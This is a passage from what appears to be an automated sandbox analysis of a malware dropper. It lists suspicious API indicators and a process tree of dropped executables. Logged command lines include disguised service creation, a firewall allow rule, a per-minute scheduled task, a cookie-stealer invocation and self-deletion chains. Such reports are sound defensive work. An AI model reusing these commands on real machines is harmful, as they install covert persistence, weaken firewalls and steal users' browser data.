3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3028	Process not Found

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
1964	sahiba_2.exe
2352	Lxjwaytgkwrfchptbandzip.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2236	sahiba_4.exe
Token: SeDebugPrivilege	1800	sahiba_5.exe
Token: SeDebugPrivilege	1108	sahiba_8.exe
Token: SeShutdownPrivilege	3028	Process not Found
Token: SeCreatePagefilePrivilege	3028	Process not Found
Token: SeShutdownPrivilege	3028	Process not Found
Token: SeCreatePagefilePrivilege	3028	Process not Found
Token: SeDebugPrivilege	1180	obZ5_oFH3z5yYCj0_3X_W0AY.exe
Token: SeDebugPrivilege	2168	StTddMc5IECUW40Vn8_yqARv.exe
Token: SeShutdownPrivilege	3028	Process not Found
Token: SeCreatePagefilePrivilege	3028	Process not Found
Token: SeShutdownPrivilege	3028	Process not Found
Token: SeCreatePagefilePrivilege	3028	Process not Found
Token: SeShutdownPrivilege	3028	Process not Found
Token: SeCreatePagefilePrivilege	3028	Process not Found
Token: SeShutdownPrivilege	3028	Process not Found
Token: SeCreatePagefilePrivilege	3028	Process not Found
Token: SeShutdownPrivilege	3028	Process not Found
Token: SeCreatePagefilePrivilege	3028	Process not Found
Token: SeShutdownPrivilege	3028	Process not Found
Token: SeCreatePagefilePrivilege	3028	Process not Found
Token: SeShutdownPrivilege	3028	Process not Found
Token: SeCreatePagefilePrivilege	3028	Process not Found
Token: SeShutdownPrivilege	3028	Process not Found
Token: SeCreatePagefilePrivilege	3028	Process not Found
Token: SeShutdownPrivilege	3028	Process not Found
Token: SeCreatePagefilePrivilege	3028	Process not Found
Token: SeShutdownPrivilege	3028	Process not Found
Token: SeCreatePagefilePrivilege	3028	Process not Found
Token: SeShutdownPrivilege	3028	Process not Found
Token: SeCreatePagefilePrivilege	3028	Process not Found
Token: SeShutdownPrivilege	3028	Process not Found
Token: SeCreatePagefilePrivilege	3028	Process not Found
Token: SeShutdownPrivilege	3028	Process not Found
Token: SeCreatePagefilePrivilege	3028	Process not Found
Token: SeShutdownPrivilege	3028	Process not Found
Token: SeCreatePagefilePrivilege	3028	Process not Found
Token: SeShutdownPrivilege	3028	Process not Found
Token: SeCreatePagefilePrivilege	3028	Process not Found
Token: SeShutdownPrivilege	3028	Process not Found
Token: SeCreatePagefilePrivilege	3028	Process not Found
Token: SeShutdownPrivilege	3028	Process not Found
Token: SeCreatePagefilePrivilege	3028	Process not Found
Token: SeShutdownPrivilege	3028	Process not Found
Token: SeCreatePagefilePrivilege	3028	Process not Found
Token: SeShutdownPrivilege	3028	Process not Found
Token: SeCreatePagefilePrivilege	3028	Process not Found
Token: SeShutdownPrivilege	3028	Process not Found
Token: SeCreatePagefilePrivilege	3028	Process not Found
Token: SeShutdownPrivilege	3028	Process not Found
Token: SeCreatePagefilePrivilege	3028	Process not Found
Token: SeShutdownPrivilege	3028	Process not Found
Token: SeCreatePagefilePrivilege	3028	Process not Found
Token: SeShutdownPrivilege	3028	Process not Found
Token: SeCreatePagefilePrivilege	3028	Process not Found
Token: SeShutdownPrivilege	3028	Process not Found
Token: SeCreatePagefilePrivilege	3028	Process not Found
Token: SeShutdownPrivilege	3028	Process not Found
Token: SeCreatePagefilePrivilege	3028	Process not Found
Token: SeShutdownPrivilege	3028	Process not Found
Token: SeCreatePagefilePrivilege	3028	Process not Found
Token: SeShutdownPrivilege	3028	Process not Found
Token: SeCreatePagefilePrivilege	3028	Process not Found
Token: SeShutdownPrivilege	3028	Process not Found

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4332	rundll32.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
3028	Process not Found
3028	Process not Found

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1744 wrote to memory of 2248	1744	ebf60ae71e4830f9e07d78e9abf7d764.exe	82
PID 1744 wrote to memory of 2248	1744	ebf60ae71e4830f9e07d78e9abf7d764.exe	82
PID 1744 wrote to memory of 2248	1744	ebf60ae71e4830f9e07d78e9abf7d764.exe	82
PID 2248 wrote to memory of 364	2248	setup_install.exe	92
PID 2248 wrote to memory of 364	2248	setup_install.exe	92
PID 2248 wrote to memory of 364	2248	setup_install.exe	92
PID 2248 wrote to memory of 4976	2248	setup_install.exe	85
PID 2248 wrote to memory of 4976	2248	setup_install.exe	85
PID 2248 wrote to memory of 4976	2248	setup_install.exe	85
PID 2248 wrote to memory of 5064	2248	setup_install.exe	91
PID 2248 wrote to memory of 5064	2248	setup_install.exe	91
PID 2248 wrote to memory of 5064	2248	setup_install.exe	91
PID 2248 wrote to memory of 4956	2248	setup_install.exe	86
PID 2248 wrote to memory of 4956	2248	setup_install.exe	86
PID 2248 wrote to memory of 4956	2248	setup_install.exe	86
PID 2248 wrote to memory of 5088	2248	setup_install.exe	90
PID 2248 wrote to memory of 5088	2248	setup_install.exe	90
PID 2248 wrote to memory of 5088	2248	setup_install.exe	90
PID 2248 wrote to memory of 3792	2248	setup_install.exe	89
PID 2248 wrote to memory of 3792	2248	setup_install.exe	89
PID 2248 wrote to memory of 3792	2248	setup_install.exe	89
PID 2248 wrote to memory of 3008	2248	setup_install.exe	88
PID 2248 wrote to memory of 3008	2248	setup_install.exe	88
PID 2248 wrote to memory of 3008	2248	setup_install.exe	88
PID 2248 wrote to memory of 1296	2248	setup_install.exe	87
PID 2248 wrote to memory of 1296	2248	setup_install.exe	87
PID 2248 wrote to memory of 1296	2248	setup_install.exe	87
PID 4956 wrote to memory of 2236	4956	cmd.exe	93
PID 4956 wrote to memory of 2236	4956	cmd.exe	93
PID 3008 wrote to memory of 1816	3008	cmd.exe	100
PID 3008 wrote to memory of 1816	3008	cmd.exe	100
PID 3008 wrote to memory of 1816	3008	cmd.exe	100
PID 5088 wrote to memory of 1800	5088	cmd.exe	99
PID 5088 wrote to memory of 1800	5088	cmd.exe	99
PID 3792 wrote to memory of 1980	3792	cmd.exe	97
PID 3792 wrote to memory of 1980	3792	cmd.exe	97
PID 3792 wrote to memory of 1980	3792	cmd.exe	97
PID 1296 wrote to memory of 1108	1296	cmd.exe	95
PID 1296 wrote to memory of 1108	1296	cmd.exe	95
PID 5064 wrote to memory of 2076	5064	cmd.exe	96
PID 5064 wrote to memory of 2076	5064	cmd.exe	96
PID 5064 wrote to memory of 2076	5064	cmd.exe	96
PID 4976 wrote to memory of 1964	4976	cmd.exe	98
PID 4976 wrote to memory of 1964	4976	cmd.exe	98
PID 4976 wrote to memory of 1964	4976	cmd.exe	98
PID 364 wrote to memory of 3972	364	cmd.exe	94
PID 364 wrote to memory of 3972	364	cmd.exe	94
PID 364 wrote to memory of 3972	364	cmd.exe	94
PID 3972 wrote to memory of 4972	3972	sahiba_1.exe	101
PID 3972 wrote to memory of 4972	3972	sahiba_1.exe	101
PID 3972 wrote to memory of 4972	3972	sahiba_1.exe	101
PID 1816 wrote to memory of 380	1816	sahiba_7.exe	103
PID 1816 wrote to memory of 380	1816	sahiba_7.exe	103
PID 1816 wrote to memory of 380	1816	sahiba_7.exe	103
PID 2716 wrote to memory of 4208	2716	rUNdlL32.eXe	106
PID 2716 wrote to memory of 4208	2716	rUNdlL32.eXe	106
PID 2716 wrote to memory of 4208	2716	rUNdlL32.eXe	106
PID 1816 wrote to memory of 3576	1816	sahiba_7.exe	111
PID 1816 wrote to memory of 3576	1816	sahiba_7.exe	111
PID 1816 wrote to memory of 3576	1816	sahiba_7.exe	111
PID 1980 wrote to memory of 4236	1980	sahiba_6.exe	116
PID 1980 wrote to memory of 4236	1980	sahiba_6.exe	116
PID 1980 wrote to memory of 4236	1980	sahiba_6.exe	116
PID 1980 wrote to memory of 1180	1980	sahiba_6.exe	117

C:\Users\Admin\AppData\Local\Temp\ebf60ae71e4830f9e07d78e9abf7d764.exe
"C:\Users\Admin\AppData\Local\Temp\ebf60ae71e4830f9e07d78e9abf7d764.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1744
- C:\Users\Admin\AppData\Local\Temp\7zS0D63527D\setup_install.exe
  "C:\Users\Admin\AppData\Local\Temp\7zS0D63527D\setup_install.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2248
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sahiba_2.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4976
  - - C:\Users\Admin\AppData\Local\Temp\7zS0D63527D\sahiba_2.exe
      sahiba_2.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Checks SCSI registry key(s)
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      PID:1964
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sahiba_4.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4956
  - - C:\Users\Admin\AppData\Local\Temp\7zS0D63527D\sahiba_4.exe
      sahiba_4.exe
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:2236
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sahiba_8.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1296
  - - C:\Users\Admin\AppData\Local\Temp\7zS0D63527D\sahiba_8.exe
      sahiba_8.exe
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:1108
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sahiba_7.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3008
  - - C:\Users\Admin\AppData\Local\Temp\7zS0D63527D\sahiba_7.exe
      sahiba_7.exe
      4⤵
      Executes dropped EXE
      Adds Run key to start application
      Suspicious use of WriteProcessMemory
      PID:1816
    - - C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        5⤵
        Executes dropped EXE
        
        PID:380
    - - C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:3576
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sahiba_6.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3792
  - - C:\Users\Admin\AppData\Local\Temp\7zS0D63527D\sahiba_6.exe
      sahiba_6.exe
      4⤵
      Executes dropped EXE
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:1980
    - - C:\Users\Admin\Documents\rpcsOHwTOjN94LTAaiCOy8Qz.exe
        
        "C:\Users\Admin\Documents\rpcsOHwTOjN94LTAaiCOy8Qz.exe"
        5⤵
        Executes dropped EXE
        
        PID:4236
    - - C:\Users\Admin\Documents\obZ5_oFH3z5yYCj0_3X_W0AY.exe
        
        "C:\Users\Admin\Documents\obZ5_oFH3z5yYCj0_3X_W0AY.exe"
        5⤵
        Executes dropped EXE
        Checks computer location settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:1180
      - C:\Users\Admin\AppData\Local\Temp\30ab9ed1-cc5d-44e6-9a6d-03767aa1583f.exe
        
        "C:\Users\Admin\AppData\Local\Temp\30ab9ed1-cc5d-44e6-9a6d-03767aa1583f.exe"
        6⤵
        Executes dropped EXE
        Checks processor information in registry
        
        PID:2112
    - - C:\Users\Admin\Documents\StTddMc5IECUW40Vn8_yqARv.exe
        
        "C:\Users\Admin\Documents\StTddMc5IECUW40Vn8_yqARv.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of AdjustPrivilegeToken
        
        PID:2168
    - - C:\Users\Admin\Documents\i5buOKQVQKrBs6fUDCa1J3kh.exe
        
        "C:\Users\Admin\Documents\i5buOKQVQKrBs6fUDCa1J3kh.exe"
        5⤵
        Executes dropped EXE
        
        PID:364
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 364 -s 436
        6⤵
        Program crash
        
        PID:4640
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 364 -s 444
        6⤵
        Program crash
        
        PID:5056
    - - C:\Users\Admin\Documents\7BelNYNDVCrMCBstTTNUA0pf.exe
        
        "C:\Users\Admin\Documents\7BelNYNDVCrMCBstTTNUA0pf.exe"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:3688
    - - C:\Users\Admin\Documents\V8pjfGfERM2Nxkbd0dskcy9m.exe
        
        "C:\Users\Admin\Documents\V8pjfGfERM2Nxkbd0dskcy9m.exe"
        5⤵
        Executes dropped EXE
        Checks computer location settings
        
        PID:1108
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c cmd < Affaticato.gif
        6⤵
        
        PID:3868
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd
        7⤵
        
        PID:3648
    - - C:\Users\Admin\Documents\fxw28JlVcabAMLadl853FYD0.exe
        
        "C:\Users\Admin\Documents\fxw28JlVcabAMLadl853FYD0.exe"
        5⤵
        Executes dropped EXE
        Checks computer location settings
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:3768
      - C:\Users\Admin\AppData\Local\Temp\Lxjwaytgkwrfchptbandzip.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Lxjwaytgkwrfchptbandzip.exe"
        6⤵
        Executes dropped EXE
        Checks SCSI registry key(s)
        Suspicious behavior: MapViewOfSection
        
        PID:2352
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        6⤵
        
        PID:1864
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        6⤵
        
        PID:1032
    - - C:\Users\Admin\Documents\cdyBn6zqUI5gTwuE4uDUUwDN.exe
        
        "C:\Users\Admin\Documents\cdyBn6zqUI5gTwuE4uDUUwDN.exe"
        5⤵
        
        PID:3624
    - - C:\Users\Admin\Documents\n4TMuaFbwW3KqbL2Atv9PIvE.exe
        
        "C:\Users\Admin\Documents\n4TMuaFbwW3KqbL2Atv9PIvE.exe"
        5⤵
        Executes dropped EXE
        
        PID:1748
    - - C:\Users\Admin\Documents\eEHDLUifhnDVUKxF0WPl4rfn.exe
        
        "C:\Users\Admin\Documents\eEHDLUifhnDVUKxF0WPl4rfn.exe"
        5⤵
        
        PID:2780
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\pvsuuvwl\
        6⤵
        
        PID:3972
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\cfvunpwz.exe" C:\Windows\SysWOW64\pvsuuvwl\
        6⤵
        
        PID:4192
      - C:\Windows\SysWOW64\sc.exe
        
        "C:\Windows\System32\sc.exe" create pvsuuvwl binPath= "C:\Windows\SysWOW64\pvsuuvwl\cfvunpwz.exe /d\"C:\Users\Admin\Documents\eEHDLUifhnDVUKxF0WPl4rfn.exe\"" type= own start= auto DisplayName= "wifi support"
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Suspicious use of SetThreadContext
        
        PID:4348
      - C:\Windows\SysWOW64\sc.exe
        
        "C:\Windows\System32\sc.exe" start pvsuuvwl
        6⤵
        
        PID:3680
      - C:\Windows\SysWOW64\sc.exe
        
        "C:\Windows\System32\sc.exe" description pvsuuvwl "wifi internet conection"
        6⤵
        
        PID:1764
      - C:\Windows\SysWOW64\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
        6⤵
        
        PID:4112
      - C:\Users\Admin\afazxbts.exe
        
        "C:\Users\Admin\afazxbts.exe" /d"C:\Users\Admin\Documents\eEHDLUifhnDVUKxF0WPl4rfn.exe"
        6⤵
        
        PID:4976
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\pkzvprpk.exe" C:\Windows\SysWOW64\pvsuuvwl\
        7⤵
        
        PID:4572
        
        C:\Windows\SysWOW64\sc.exe
        
        "C:\Windows\System32\sc.exe" config pvsuuvwl binPath= "C:\Windows\SysWOW64\pvsuuvwl\pkzvprpk.exe /d\"C:\Users\Admin\afazxbts.exe\""
        7⤵
        
        PID:2960
        
        C:\Windows\SysWOW64\sc.exe
        
        "C:\Windows\System32\sc.exe" start pvsuuvwl
        7⤵
        
        PID:1400
        
        C:\Windows\SysWOW64\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
        7⤵
        
        PID:4928
    - - C:\Users\Admin\Documents\KdJ4ixwzOyLDWqYZlwLTZBah.exe
        
        "C:\Users\Admin\Documents\KdJ4ixwzOyLDWqYZlwLTZBah.exe"
        5⤵
        Executes dropped EXE
        
        PID:3224
    - - C:\Users\Admin\Documents\yIt2LmY4lkuKvd_IuB5mcMF7.exe
        
        "C:\Users\Admin\Documents\yIt2LmY4lkuKvd_IuB5mcMF7.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Checks processor information in registry
        
        PID:3676
      - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\syswow64\rundll32.exe" "C:\Windows\syswow64\shell32.dll",#61
        6⤵
        Blocklisted process makes network request
        
        PID:2456
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3676 -s 656
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Program crash
        
        PID:4428
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3676 -s 980
        6⤵
        Program crash
        
        PID:2620
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3676 -s 872
        6⤵
        Program crash
        
        PID:3792
      - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\syswow64\rundll32.exe" "C:\Windows\syswow64\shell32.dll",#61
        6⤵
        Blocklisted process makes network request
        Drops file in Program Files directory
        Checks processor information in registry
        Modifies registry class
        Modifies system certificate store
        Suspicious use of FindShellTrayWindow
        
        PID:4332
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3676 -s 980
        6⤵
        Program crash
        
        PID:3796
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3676 -s 992
        6⤵
        Executes dropped EXE
        Adds Run key to start application
        Program crash
        
        PID:2780
    - - C:\Users\Admin\Documents\lawczSIOQOTZEeZ8qgqEHQ6w.exe
        
        "C:\Users\Admin\Documents\lawczSIOQOTZEeZ8qgqEHQ6w.exe"
        5⤵
        Executes dropped EXE
        
        PID:2348
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2348 -s 836
        6⤵
        Program crash
        
        PID:1496
    - - C:\Users\Admin\Documents\WdtqiTHm5UbAyPTT8IwMvYRc.exe
        
        "C:\Users\Admin\Documents\WdtqiTHm5UbAyPTT8IwMvYRc.exe"
        5⤵
        Executes dropped EXE
        
        PID:3644
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3644 -s 448
        6⤵
        Program crash
        
        PID:1080
    - - C:\Users\Admin\Documents\AaficVH4L5Qb0ztZkci11m6f.exe
        
        "C:\Users\Admin\Documents\AaficVH4L5Qb0ztZkci11m6f.exe"
        5⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of SetThreadContext
        
        PID:2908
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        6⤵
        
        PID:2192
    - - C:\Users\Admin\Documents\0qKrAjc0SiUb1ynXHL70bbGo.exe
        
        "C:\Users\Admin\Documents\0qKrAjc0SiUb1ynXHL70bbGo.exe"
        5⤵
        Executes dropped EXE
        Checks computer location settings
        Loads dropped DLL
        Checks processor information in registry
        
        PID:4864
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im 0qKrAjc0SiUb1ynXHL70bbGo.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\0qKrAjc0SiUb1ynXHL70bbGo.exe" & del C:\ProgramData\*.dll & exit
        6⤵
        
        PID:4208
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im 0qKrAjc0SiUb1ynXHL70bbGo.exe /f
        7⤵
        Kills process with taskkill
        
        PID:2740
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        7⤵
        Delays execution with timeout.exe
        
        PID:3632
    - - C:\Users\Admin\Documents\QXZ611Eg7tflT4Rlnw5ZnIPk.exe
        
        "C:\Users\Admin\Documents\QXZ611Eg7tflT4Rlnw5ZnIPk.exe"
        5⤵
        Executes dropped EXE
        Checks computer location settings
        
        PID:4776
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4776 -s 632
        6⤵
        Program crash
        
        PID:3300
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4776 -s 660
        6⤵
        Program crash
        
        PID:5040
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4776 -s 812
        6⤵
        Program crash
        
        PID:2240
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4776 -s 1236
        6⤵
        Program crash
        
        PID:4176
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4776 -s 1244
        6⤵
        Program crash
        
        PID:4468
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4776 -s 1296
        6⤵
        Program crash
        
        PID:2932
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4776 -s 1284
        6⤵
        Program crash
        
        PID:2404
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "QXZ611Eg7tflT4Rlnw5ZnIPk.exe" /f & erase "C:\Users\Admin\Documents\QXZ611Eg7tflT4Rlnw5ZnIPk.exe" & exit
        6⤵
        
        PID:3448
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "QXZ611Eg7tflT4Rlnw5ZnIPk.exe" /f
        7⤵
        Kills process with taskkill
        
        PID:2484
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4776 -s 1096
        6⤵
        Program crash
        
        PID:3360
    - - C:\Users\Admin\Documents\wL4Wa4r2Yqo3mfolC6pDR0dJ.exe
        
        "C:\Users\Admin\Documents\wL4Wa4r2Yqo3mfolC6pDR0dJ.exe"
        5⤵
        
        PID:4348
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        6⤵
        
        PID:1800
    - - C:\Users\Admin\Documents\ty3KRhrxyUwGFEtrHrJ96c4I.exe
        
        "C:\Users\Admin\Documents\ty3KRhrxyUwGFEtrHrJ96c4I.exe"
        5⤵
        
        PID:4428
      - C:\Users\Admin\Documents\ty3KRhrxyUwGFEtrHrJ96c4I.exe
        
        C:\Users\Admin\Documents\ty3KRhrxyUwGFEtrHrJ96c4I.exe
        6⤵
        Executes dropped EXE
        
        PID:2040
    - - C:\Users\Admin\Documents\05TybaqwOLmxxAsxKLzCsfl9.exe
        
        "C:\Users\Admin\Documents\05TybaqwOLmxxAsxKLzCsfl9.exe"
        5⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of SetThreadContext
        
        PID:3788
    - - C:\Users\Admin\Documents\MesNZA1rz4yChKHYw0xT_UbL.exe
        
        "C:\Users\Admin\Documents\MesNZA1rz4yChKHYw0xT_UbL.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:4420
      - C:\Users\Admin\Documents\MesNZA1rz4yChKHYw0xT_UbL.exe
        
        "C:\Users\Admin\Documents\MesNZA1rz4yChKHYw0xT_UbL.exe"
        6⤵
        Executes dropped EXE
        
        PID:4688
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4688 -s 552
        7⤵
        Program crash
        
        PID:1760
    - - C:\Users\Admin\Documents\jj3AfhOLjUCor7dXrjDTtcfT.exe
        
        "C:\Users\Admin\Documents\jj3AfhOLjUCor7dXrjDTtcfT.exe"
        5⤵
        Executes dropped EXE
        Checks computer location settings
        Adds Run key to start application
        
        PID:5044
      - C:\Users\Admin\AppData\Local\Temp\dada.exe
        
        "C:\Users\Admin\AppData\Local\Temp\dada.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:5100
      - C:\Users\Admin\AppData\Local\Temp\build.exe
        
        "C:\Users\Admin\AppData\Local\Temp\build.exe"
        6⤵
        Executes dropped EXE
        Checks computer location settings
        
        PID:224
        
        C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /TN Cache-S-21-2946144819-3e21f723 /TR "C:\Users\Admin\AppData\Local\cache\MoUSO.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:3396
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sahiba_5.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5088
  - - C:\Users\Admin\AppData\Local\Temp\7zS0D63527D\sahiba_5.exe
      sahiba_5.exe
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:1800
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sahiba_3.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5064
  - - C:\Users\Admin\AppData\Local\Temp\7zS0D63527D\sahiba_3.exe
      sahiba_3.exe
      4⤵
      Executes dropped EXE
      Modifies system certificate store
      PID:2076
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2076 -s 1656
        5⤵
        Program crash
        
        PID:3748
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sahiba_1.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:364
  - - C:\Users\Admin\AppData\Local\Temp\7zS0D63527D\sahiba_1.exe
      sahiba_1.exe
      4⤵
      Executes dropped EXE
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:3972
    - - C:\Users\Admin\AppData\Local\Temp\7zS0D63527D\sahiba_1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7zS0D63527D\sahiba_1.exe" -a
        5⤵
        Executes dropped EXE
        
        PID:4972

C:\Windows\system32\rUNdlL32.eXe
rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2716
- C:\Windows\SysWOW64\rundll32.exe
  rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
  2⤵
  - Loads dropped DLL
  PID:4208
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4208 -s 600
    3⤵
    - Program crash
    PID:3760

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 4208 -ip 4208
1⤵
PID:4520

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 2076 -ip 2076
1⤵
PID:4112

C:\Users\Admin\AppData\Local\Temp\7zS112F.tmp\Install.exe
.\Install.exe
1⤵
- Executes dropped EXE
PID:3808
- C:\Users\Admin\AppData\Local\Temp\7zS25E0.tmp\Install.exe
  .\Install.exe /S /site_id "525403"
  2⤵
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Checks computer location settings
  - Drops file in System32 directory
  - Enumerates system info in registry
  PID:2884
- - C:\Windows\SysWOW64\forfiles.exe
